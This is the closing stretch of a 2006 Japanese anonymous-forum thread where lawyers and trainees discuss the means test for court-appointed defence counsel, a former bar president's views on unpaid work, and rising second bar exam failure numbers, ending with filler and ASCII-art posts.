>>953
25万円あれば当面の生活に困らないし、弁護士費用は25万円だから
合計50万円を資力要件にしたということだよ

955 :無責任な名無しさん:2006/09/27(水) 19:04:57 ID:IZj5Xj2g
 なるほど、まぁ、都市部なら、着手金25万でやってくれる弁護士も探せばいるだろうから間違ってはいないかな。
 漏れはたぶんやらないけど。
 しかし、それなら、国選の報酬も25万にしろって気がする。

956 :無責任な名無しさん:2006/09/27(水) 19:09:31 ID:aJQPDJ7y
そのあたり、大きな矛盾だよな。
一貫していない。

957 :無責任な名無しさん:2006/09/27(水) 19:57:42 ID:cdlymwzX
>>942
責任者は大変だな。こんな事では若手の反発から次期会長選・・・


958 :無責任な名無しさん:2006/09/27(水) 20:12:39 ID:zLPc12n7
新会館に浮かれて思考力が低下したんじゃね

959 :無責任な名無しさん:2006/09/27(水) 22:17:40 ID:ts4Q0vs+
>>957
NEGATIVEキャンペーンで一発で沈むな。何とかしなくちゃね。○○長。

960 :無責任な名無しさん:2006/09/27(水) 22:32:38 ID:crMiZMQr
>>942
クレサラ事件で金儲けしようと思うなってことじゃないの。
以下元会長の著書より一部引用。


これまでも公的な仕事をするときは、報酬を辞退してきた。

私が無給にこだわるのには、もうひとつ理由がある。
誰にも媚びる事なく、司法の理念のみに従って戦い抜く為である。
 
自分の生活基盤が給料に依存していると、どうしても保身に走り、言いたいことも
言えなくなってしまう。誰からも禄を食まず、経済的に自立しているからこそ、私は、
遠慮なく信念を述べ、思い通りの行動を貫くことができた。

言い換えれば、公的な仕事を無報酬で引き受けるという決断は、公権力に対する私
の「宣戦布告」なのである。

報酬も、自分の努力に対する依頼者の感謝の意の表明であると考えるべきだ。
私は、あるときから依頼者に具体的な報酬額を請求するのをやめている。
多額の報酬をもってきた依頼者には、「ええかっこするな」と毒づいて金を突き返した
こともあった。

私の経験からして、弁護士は「お布施」だけでも十分やっていける。

公共性と利益は決して相容れないものではないのである。


961 :無責任な名無しさん:2006/09/27(水) 22:33:55 ID:L+PjSiDg
刑事弁護で金儲けするなに続く名言だねw

クレサラで金儲けするなw

弁護士はそれが仕事だっちゅーねんw

962 :無責任な無責任:2006/09/27(水) 23:23:34 ID:cOuppAB/
無報酬の仕事の影に、ぼった栗の仕事が......

963 :無責任な名無しさん:2006/09/28(木) 08:13:55 ID:LWwhjvl8
やっぱりこの人が諸悪の根源じゃないの

964 :無責任な名無しさん:2006/09/28(木) 09:15:43 ID:bRuqeRUC
age荒らしが一番ウザい

965 :無責任な名無しさん:2006/09/28(木) 09:36:46 ID:OldfL58X
>954
50万円を国選付ける資力要件と言うけど、誰がどうやってその要件を
審査するんだ?
身上の調書で、預貯金は大体55万円あります、とか書いてあればそれで
私選になってしまうってこと?実際はその預貯金がないことも多いのに。
もし残高があったとしても、私選で受けるために「カードを宅下げしますから
お金を下ろしてきてください」なんていうのも受けないといけなくなるってことか?
今まで通り国選にして、訴訟費用を気軽に免除しなければそれで済むのに。

966 :無責任な名無しさん:2006/09/28(木) 09:41:23 ID:OldfL58X
連投スマソ

>960
こういうのって、自分は滅多に刑事事件や暮れ皿事件をやらないような人に
限って言うんだよな。若いうちは無償でやれ、と。
そりゃ、数年に1回ならカッコつけて無償奉仕することも可能だろうけどさ・・・。
それに、「お布施」って何だよ。結局言い換えて金をもらってるんじゃんw
お布施にだって相場はあるっていうのにさ〜
ああ嫌だ嫌だ。


967 :無責任な名無しさん:2006/09/28(木) 09:54:13 ID:GJyeeb+9
この人の実家は有名なお金持ちだからな。この人は金持ち意外は弁護士になるな
貧乏人は弁護士になるなとも言ってるよ。
お金を心配をしないで生活をできる人でないと、どうしても金にとられてしまうんだってよ。

言ってることは一貫しているがなw


968 :無責任な名無しさん:2006/09/28(木) 10:34:12 ID:/q4iGpgv
>>954
勾留中にどうやって報酬の原資を用意するのか,
私選の被告人が報酬払ってくれないんですけどどうしたらいいですかと,
法テラスのコールセンターに相談してみていいでしょうか。


969 :無責任な名無しさん:2006/09/28(木) 10:36:11 ID:/q4iGpgv
孫の事件については弁護人に「無償でやれ」と言ったのだろうか。

970 :955:2006/09/28(木) 10:56:11 ID:pbEpJolP
>968
 結局すぐに払えない事案については、私選弁護人を拒否して、「その他の理由で弁護人を選任できない場合」として国選にまわすのが正解でしょう。
そういう意味では、国選と私選の割合はそれほど変わらないのではないかと思います。

971 :無責任な名無しさん:2006/09/28(木) 11:02:00 ID:/q4iGpgv
「資力あり」と判断されると弁護士会に私選紹介依頼がなされますが,
その被紹介者が被疑者に「受任拒否」の書面を渡すと,国選に移行することになります。

972 :無責任な名無しさん:2006/09/28(木) 11:14:04 ID:F15Z/GYh
>>968
できれば録音をして問い合わせてください。

973 :無責任な名無しさん:2006/09/28(木) 12:19:49 ID:qh2sPgc8
nakabousanngametyametyanisita

974 :無責任な名無しさん:2006/09/28(木) 13:44:18 ID:0tFuR2iu
つーかそんな金持ちのボンボンのくせに
銀行騙したわけかw

975 :無責任な名無しさん:2006/09/28(木) 14:05:48 ID:qh2sPgc8
この人を生んだ大阪の弁護士会はイマイチ信用できない。

976 :無責任な名無しさん:2006/09/28(木) 17:58:19 ID:H/0jP8nQ
957 :953:2006/09/28(木) 17:40:47 ID:???
>>955
こんどうちに来る59期から連絡があった(彼が受かってて一安心)。
留保97+不合格10とかいってたな。


958 :氏名黙秘 :2006/09/28(木) 17:41:28 ID:???
100名は間違いない
ガチだよ



959 :氏名黙秘 :2006/09/28(木) 17:42:57 ID:???
軽便が予想外に多い
民弁も意外と多い


960 :氏名黙秘 :2006/09/28(木) 17:43:30 ID:???
民裁は?


961 :氏名黙秘 :2006/09/28(木) 17:43:36 ID:???
後輩の修習生から、957と同様の報告をもらいました。
にしても、三桁とはびっくりだ


977 :無責任な名無しさん:2006/09/28(木) 18:02:30 ID:LWwhjvl8
少ないんじゃね

978 :無責任な名無しさん:2006/09/28(木) 19:30:52 ID:eK8DPjVN
うちに来てた59期に、昨年の12月頃、今度は70〜80人くらい落ちるんじゃないか?
と言ったら
そんなはずない!嫌な人だなあもう・・・と言われた。
でも予想を上回ってたから、ただの嫌な人にならなくて良かった。

979 :無責任な名無しさん:2006/09/28(木) 22:24:14 ID:f6UPhl8O
>>959
ほんと、とんでもねえな。
若手虐殺だな。

980 :無責任な名無しさん:2006/09/29(金) 01:21:13 ID:Xh60wMez
受験した修習生1493人のうち107人が、「不合格」または「合格留保」ですか。
すごい時代になったものですね。
これからも不合格組・合格留保組は増えるんでしょうね。

981 :無責任な名無しさん:2006/09/29(金) 01:40:53 ID:Fie8EinP
司法試験の口述のことかと思ったら、2回試験の結果かよ。
なんつか、すごいな。
新60期が2回試験で300人とか不合格になっても驚かないようにしよう。

982 :無責任な名無しさん:2006/09/29(金) 01:42:15 ID:w5DMN50l
旧試験ていつ発表なの?

983 :無責任な名無しさん:2006/09/29(金) 01:47:08 ID:VH2Wa/Y5
論文が10月6日、最終発表は11月9日

984 :無責任な名無しさん:2006/09/29(金) 07:40:25 ID:6v3CuFR2
これからは出口でしぼるワケね
アメリカの大学みたいだな

985 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/09/29(金) 09:30:27 ID:OZewvyGs
そろそろ埋め立てごろですかね。

次スレ→http://school5.2ch.net/test/read.cgi/shikaku/1159283071/l50

986 :無責任な名無しさん:2006/09/29(金) 10:18:01 ID:PvZdmbqu
おいらの期は誰一人落ちなかったな
確かその直前2,3年も誰も落ちてない
それをいいことに修習生の頃は遊び放題
勉強などほとんどしなかった
おいらたちが無茶したからそれ以降絞られるようになったのかな
翌年二回試験落ちが出た

987 :無責任な名無しさん:2006/09/29(金) 11:35:46 ID:KB306hkr
 漏れ(54期)のときは、約990人に対して、不合格、留保が17人ぐらいと記憶している。
 このときも不合、留保者が増えたと話題になったのだが・・・。もうあれから5年たつのか・・・。

988 :無責任な名無しさん:2006/09/29(金) 12:07:04 ID:w5DMN50l
この書記官ブログワロタ。

http://blog.goo.ne.jp/sleepingcat_2006/m/200605
 裁判所には司法修習生という、ちょっと特殊な立場にいる人たちがいます。
(中略)
 次に、口のききかたには気をつけること。
 立場以前に社会人としての常識です。まちがっても、当事者がいる前で
「あんな主張、マジ無理っすよね?」とか言わないこと。
 あと、男性修習生の諸君は、女性職員に(;゚∀゚)=3ハァハァしすぎないこと。
 修習生は学生気分が抜けなくて、まだまだ遊びたいのだとは思いますが、
相手の女性はほぼ間違いなく結婚を意識してきます。
 その辺の意識のギャップを正確に理解しておかないと、あとで面倒なこと
になったりしますよ〜(実話)。
 それから、某部の女性書記官がかわいいからって、裁判官に相談するのも
できればやめてください。「どうしたらいいでしょう?」って、裁判官から真顔で
聞かれちゃいましたよ。私に攻略法を聞かれても困るのですよ、そこのキミ。
 ・・・え、お前こそ女性修習生に(;゚∀゚)=3ハァハァしてるんじゃないかって?
 確かに、一昔前に較べてかわいい人が増えました。これは裁判官も書記官
も事務官も同意見です。
 ですが、声はかけづらいですね、やはり。
 一般職員では、なんか気後れするし、裁判官は立場を利用したみたいな品
のない行為を嫌う人が多いです。
 でも、一説には女性修習生は研修中に相手を見つけないと、婚期が遅くなる
とかならないとか。相手を探しておられる方は、焦る必要はないですが、チャン
スと見たら攻めてみるのもアリですね。
 そういわれてみると、知り合いの女性裁判官は、みんな修習同期と結婚して
ますなぁ・・・。

989 :無責任な名無しさん:2006/09/29(金) 14:06:20 ID:pni/nAVK
梅。

990 :無責任な名無しさん:2006/09/29(金) 16:18:39 ID:PvZdmbqu
ウメェ〜

991 :無責任な名無しさん:2006/09/29(金) 16:47:03 ID:DxfP/jBy
おっすオラ梅謙次郎!
今度民法を作ることになったんだけどさ,一緒に作ることになった
穂積陳重って奴と富井政章って奴が強え〜のなんのって。
オラ今からもうワクワクしてきたぜ!

992 :無責任な名無しさん:2006/09/29(金) 18:30:35 ID:mgiGGTa+
二回試験落ちはピンクのバッジで区別するというのはどうだ

993 :無責任な名無しさん:2006/09/29(金) 19:29:57 ID:KB306hkr
 我妻榮 萌え! リスト 萌え!

994 :1:2006/09/29(金) 22:05:22 ID:p5LHFtGQ
うそです。

995 :MS754 ◆yGUnQdhyV2 :2006/09/29(金) 22:37:59 ID:o23m80YN
995

996 :無責任な名無しさん:2006/09/29(金) 23:08:14 ID:JwJ4xM+t

 ,.――――-、
 ヽ / ̄ ̄ ̄`ヽ、
  | |  (・)。(・)|   ケンイチウジに見つからないよう潜伏して1000を取るでござる
  | |@_,.--、_,>                              の巻
  ヽヽ___ノ               


997 :無責任な名無しさん:2006/09/29(金) 23:12:25 ID:JwJ4xM+t

 ,.――――-、
 ヽ / ̄ ̄ ̄`ヽ、
  | |  (・)。(・)|  997でござる ニンニン
  | |@_,.--、_,>                  の巻
  ヽヽ___ノ               


998 :無責任な名無しさん:2006/09/29(金) 23:15:03 ID:JwJ4xM+t

 ,.――――-、
 ヽ / ̄ ̄ ̄`ヽ、
  | |  (・)。(・)|  998でござるよ ニンニン
  | |@_,.--、_,>                  の巻
  ヽヽ___ノ               


999 :無責任な名無しさん:2006/09/29(金) 23:15:36 ID:JwJ4xM+t

 ,.――――-、
 ヽ / ̄ ̄ ̄`ヽ、
  | |  (・)。(・)|  いよいよ999でござるよ ニンニンニン
  | |@_,.--、_,>                  の巻
  ヽヽ___ノ               


1000 :無責任な名無しさん:2006/09/29(金) 23:16:20 ID:JwJ4xM+t
 ,.――――-、
 ヽ / ̄ ̄ ̄`ヽ、
  | |  (・)。(・)|  1000を取ったでござるよ MS754殿
  | |@_,.--、_,>                  の巻
  ヽヽ___ノ               



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もう書けないので、新しいスレッドを立ててくださいです。。。

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